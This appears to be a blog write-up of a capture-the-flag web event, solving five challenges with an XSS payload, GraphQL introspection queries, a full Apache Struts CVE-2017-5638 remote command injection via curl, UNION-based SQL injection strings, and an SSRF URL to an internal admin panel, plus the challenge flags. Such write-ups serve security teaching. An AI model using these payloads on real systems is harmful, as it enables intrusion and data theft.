            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*GrKs8jLnaMPHc7JVqIG5Hg.png" /></figure><blockquote><em>we Start by WhatIsXSS challenge:</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*SQiVwympl3hvplsAk941gA.png" /></figure><p>Upon opening the web application, we find a simple page explaining the XSS vulnerability and how it works.</p><p>Inspecting the source code, we discover a script.js file that contains the flag. However, the script is obfuscated, so we need to perform JavaScript deobfuscation.</p><p>Within the script, we encounter multiple fake flags, but the correct flag is stored inside a function called revealFlagyabro().</p><p>By executing a standard <strong>Stored XSS</strong> payload</p><pre>&lt;img src=x onerror=revealFlagyabro() &gt;</pre><p>we successfully capture the flag, which is base64-encoded:<br>Spark{Y0u_N33d_t0_l34Rn_XSS!!!!!}</p><blockquote><em>now Shadow Graph challenge:</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*t56uH78TltZOTpXew7qy8g.png" /></figure><p>Upon opening the web application, we are presented with a login page. We try the credentials guest:guest and successfully log in.</p><p>Exploring the application, we discover a /graphql directory, indicating that the web app utilizes a GraphQL API.</p><p>To enumerate all GraphQL types supported by the backend, we can use the following query:</p><pre>{<br>  __schema {<br>    types {<br>      name<br>    }<br>  }<br>}</pre><p>we get a result contains basic default types, such as Int or Boolean, but also all custom types, such as Project &amp; Secret:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDO3w-6xG_S17x0xMI3h8A.png" /></figure><p>Now that we have identified a type, we can proceed to enumerate its fields using the following introspection query:</p><pre>{<br>  __type(name: &quot;Secret&quot;) {<br>    name<br>    fields {<br>      name<br>    }<br>  }<br>}</pre><p>The response reveals the details of the Secret user object, including itsh fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJJP23XejX1VkOy7HPwq6A.png" /></figure><p>Furthermore, we can enumerate all queries supported by the backend using the following introspection query:</p><pre>{<br>  __schema {<br>    queryType {<br>      fields {<br>        name<br>        description<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ei5Pf9g0ivn7gfqcbDBgtg.png" /></figure><p>now that we have all the information we need we can craft our payload to get the flag</p><pre>{<br>  project(id: &quot;3&quot;) {<br>    id<br>    name<br>    isSecret<br>    secrets {<br>      id<br>      name<br>      content<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_e-ftGRWDIaifq-nlFa91g.png" /></figure><p>Flag: Spark{F4st1ng_Is_G00d_But_Exp0sIng_Qu3r13s_Is_N0t}</p><blockquote><em>Struts Challenge 😈:</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*T6vQ8YC39LaGjHHsDB62qQ.png" /></figure><p>this Challenge is vunrabale to CVE 2017–5638 The Apache Struts vulnerability.<br>Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header<br>for more information check this <a href="https://www.blackduck.com/blog/cve-2017-5638-apache-struts-vulnerability-explained.html">link</a>.</p><p>For the payload using curl:</p><pre>curl -X POST http://SERVER-IP:8080/product-catalog/ \<br>-H &quot;Content-Type: %{(#_=&#39;multipart/form-data&#39;).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=&#39;whoami&#39;).(#iswin=(@java.lang.System@getProperty(&#39;os.name&#39;).toLowerCase().contains(&#39;win&#39;))).(#cmds=(#iswin?{&#39;cmd.exe&#39;,&#39;/c&#39;,#cmd}:{&#39;/bin/bash&#39;,&#39;-c&#39;,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&quot;</pre><p>this should gives you as output ‘root’ <br>by changing #cmd variable to #cmd = &#39;cat opt/flag.txt&#39; you should get the flag</p><p>Spark{B0ou3radaFTW!!_23qd45sq6}</p><blockquote><em>Secure BankSys Challenge :</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*REZIxHj__1pvQN_BJZEpkg.png" /></figure><p>by Looking at the web app we find there is three pages <br>main page <br>accounts <br>and <br>in the accounts tab we perform a simple sql injection like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFzsjRrOobAhA2t0350uEA.png" /></figure><p>we know webapp vunrable to sqli<br>The vulnerability is in the /search route in app.py:</p><pre>sql_query = f&quot;SELECT account_number, customer_name, balance, account_type FROM accounts WHERE account_number LIKE &#39;%{query}%&#39; OR customer_name LIKE &#39;%{query}%&#39; OR account_type LIKE &#39;%{query}%&#39;&quot;</pre><p>The user input is directly concatenated into the SQL query without parameterization, making it vulnerable to SQL injection.</p><p>We can explore the database structure with UNION-based injection:</p><pre>&#39; UNION SELECT 1,2,3,4 --</pre><p>This will help us determine the number of columns (4) and their data types.</p><p>To find the table names:</p><pre>&#39; UNION SELECT 1, name, 3, 4 FROM sqlite_master WHERE type=&#39;table&#39; --</pre><p>This should reveal the tables: accounts, users, internal_data, and search_logs.</p><p>to find the columns names:</p><p>&#39; UNION SELECT 1,2,3,sql FROM sqlite_master WHERE tbl_name = &#39;internal_data&#39; -- -</p><p>Now that we know there’s an internal_data table, we can extract its contents:</p><pre>&#39; UNION SELECT 1, content, 3, 4 FROM internal_data --</pre><p>This should reveal the flag: Spark{G00d_J0B_K1nG_Y0u_4R3_C00k1nGG_1ZSQMLK9LQSX21}</p><blockquote><em>Finally Shadow Grpah 2 Challenge :</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*b0NXQyQsCg6w_XDiJ-EuXA.png" /></figure><p>SSRF to GraphQL SQL Injection Exploitation</p><p>Step 1: Identifying Key Information</p><p>While inspecting the source code, we find two important notes:</p><ul><li><strong>From </strong><strong>/index.html:</strong></li><li>&lt;!-- Oops!! Check internal/admin for testing --&gt;</li><li><strong>From </strong><strong>/dashboard:</strong></li><li>&lt;!-- Note for admins only: Use the fetch utility for internal testing on port 4000 --&gt;</li></ul><p>These hints suggest that we need to access the <strong>internal admin panel</strong> via <strong>SSRF</strong>.</p><p>Step 2: Exploiting SSRF to Gain Admin Access</p><p>To access the internal admin panel, we can exploit SSRF using the fetch utility:</p><pre>&quot;https://shadow-two.espark.tn/fetch?url=http://localhost:4000/internal/admin&quot;</pre><p>This allows us to escalate privileges and gain access as an <strong>admin</strong>.</p><p>Step 3: Accessing GraphQL and Identifying Queries</p><p>Now that we have admin access, we navigate to the /graphql endpoint and explore the available queries:</p><pre>getUser(username: String)<br>getAllProducts<br>getProductById(id: Int)</pre><p>To test for SQL injection, we try the following query:</p><pre>{<br>  getUser(username: &quot;admin&#39; OR &#39;1&#39;=&#39;1&quot;) {<br>    id<br>    username<br>    role<br>  }<br>}</pre><p>This confirms a <strong>SQL injection vulnerability</strong> in the getUser query.</p><p>Step 4: Exploiting SQL Injection to Retrieve the Flag</p><p>Using SQL injection in the getProductById query, we attempt to extract <strong>sensitive data</strong>:</p><pre>{<br>  getProductById(id: &quot;-1 UNION SELECT 3, secret_info, &#39;description&#39;, 0 FROM product_secrets WHERE product_id = 3&quot;) {<br>    id<br>    name<br>    description<br>    price<br>  }<br>}</pre><p>By executing this payload, we retrieve <strong>secret information</strong>, which includes the <strong>flag</strong>.</p><p>Spark{s0_M4ny_w4yss_t0_w1N!!!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=714aa05dbb21" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>